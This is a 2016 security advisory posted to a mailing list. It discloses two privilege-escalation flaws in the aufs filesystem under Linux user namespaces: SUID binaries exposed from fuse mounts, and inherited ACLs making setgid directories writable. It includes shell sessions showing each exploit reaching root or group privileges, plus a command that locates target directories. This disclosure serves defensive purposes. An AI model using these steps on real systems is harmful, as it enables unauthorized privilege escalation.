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Date: Wed, 24 Feb 2016 06:14:56 +0000
From: halfdog <>
Subject: Aufs Union Filesystem Privilege Escalation In User Namespaces

Hash: SHA1



* Problem description:

Aufs is a union filesystem to mix content of different underlying
filesystems, e.g. read-only medium with r/w RAM-fs. That is also
allowed in user namespaces when module was loaded with allow_userns
option. Due to different bugs, aufs in a crafted USERNS allows
privilege escalation, which is a problem on systems enabling
unprivileged USERNS by default, e.g. Ubuntu Wily. All the issues
mentioned here were discovered after performing similar analysis on
overlayfs, another USERNS enabled union filesystem.

For a system to be exposed, unprivileged USERNS has to be available
and AUFS support enabled for it by loading the aufs module with the
appropriate option: modprobe aufs allow_userns.

AUFS Over Fuse: Loss of Nosuid:

* Method:

Fuse filesystem can be mounted by unprivileged users with the help of
the fusermount SUID program. Fuse then can simulate files of any type,
mode, UID but they are only visible to the user mounting the
filesystem and lose all SUID properties. Those files can be exposed
using aufs including the problematic SUID properties. The basic
exploitation sequence is:

    Mount fuse filesystem exposing crafted SUID binary
    Create USERNS
    Mount aufs on top of fuse
    Execute the SUID binary via aufs from outside the namespace

The issue can then be demonstrated using:

test$ mkdir fuse mnt work
test$ mv SuidExec RealFile
test$ ./FuseMinimal fuse
test$ ./UserNamespaceExec -- /bin/bash
root$ mount -t aufs -o br=work:fuse none mnt
root$ cd mnt
# Now cwd of the former process is within the aufs mount. Use
# another shell to complete.
test$ /proc/2390/cwd/file /bin/bash
root$ id
uid=0(root) gid=100(users) groups=100(users)
# Go back to old shell for cleanup.
root$ cd ..; umount mnt; exit
test$ fusermount -u fuse

* Discussion:

In my opinion, fuse filesystem allowed pretending to have files with
different UIDs/GIDs in the local mount namespace, but they never had
those properties, those files would have, when really stored on local
disk. So e.g., the SUID binaries lost their SUID-properties and the
owner could also modify arbitrary file content, even if file
attributes were pretending, that he does not have access - by having
control over the fuse process simulating the filesystem, such access
control is futile. That is also the reason, why no other user than the
one mounting the filesystem may have rights to access it by default.

In my optionion the workarounds should be to restrict access to fuse
also only to the mount namespace where it was created.

AUFS Xattr Setgid Privilege Escalation:

* Method:

Due to inheritance of Posix ACL information (xattrs) when aufs is
copying files and not cleaning those additional and unintended ACL
attribues, SGID directories may become user writable, thus allowing to
gain privileges of this group using methods described in [0]. Suitable
target directories can be easily found using find / -perm -02020 2>
/dev/null. On standard Ubuntu system those are:

/usr/local/lib/python3.4 (root.staff)
/var/lib/libuuid (libuuid.libuuid)
/var/local (root.staff)
/var/mail (root.mail)

Exploitation can be done just combining standard tools with the
SetgidDirectoryPrivilegeEscalation exploit [0].

test$ wget -q
test$ gcc -o CreateSetgidBinary CreateSetgidBinary.c
test$ gcc -o UserNamespaceExec UserNamespaceExec.c
test$ gcc -o SuidExec SuidExec.c
test$ mkdir mnt test
test$ setfacl -m "d:u:$(id -u):rwx" test
test$ ./UserNamespaceExec -- /bin/bash
root$ mount -t aufs -o br=test:/var none mnt
root$ chmod 07777 mnt/mail
root$ umount mnt; exit
test$ ./CreateSetgidBinary test/mail/escalate /bin/mount x nonexistent-arg
test$ test/mail/escalate ./SuidExec /usr/bin/id
uid=1000(test) gid=8(mail) groups=8(mail),100(users)

On Ubuntu, exploitation allows interference with mail spool and allows
to gain privileges of other python processes using python
dist-packages owned by user root.staff. If root user calls a python
process in that way, e.g. via apport crash dump tool, local root
escalation is completed.

According to this post [1], directories or binaries owned by group
staff are in the default PATH of the root user, hence local root
escalation is trivial.

Results, Discussion:

* Fixing the issue itself:

As enabling a given file system type to be manipulated by unprivileged
users, this will significantly increase attack surface. Thus a USERNS
support should not be added frivolously but only after a good security
re-audit of the codebase.

* Avoiding numerous namespace issues in future:

In my opinion, enabing USERNS was a little too fast, as it exposes a
lot of additional kernel code to users without any special
capabilities in init-ns by using the elevated privileges within the
container. This is also recognized by others, but there is dispute on
the consequences to draw from that. See Patch to disable unprivileged
userns ... on LKML [2].

I completely second the request to have options to disable the USERNS
layer as it depends on the system type, if USERNS is a net gain
regarding security or a net loss. It should be a gain on systems,
where it allows to perform critical operations within a containment, a
use-case where chroots are used currently. Without USERNS, those
operations are likely to be performed with SUID helpers in the init-ns
or privilege separation might be dropped completely as the overhead is
too large for efficient work procedures.

On the other hand, systems where all processes have similar security
level, e.g. as they all process the same data, further privilege
separation is not easy. The USERNS support will add only new risks here.


* 20160114: Aufs developers analyzing similar overlayfs issue [3] in [4]
* 20160213: Discovery
* 20160214: Report to Aufs contact mentioned on sourceforge [5]
* 20160219: Fix released: AUFS list post [6]
* 20161122: CRD and publication together with nearly identical
overlayfs issue



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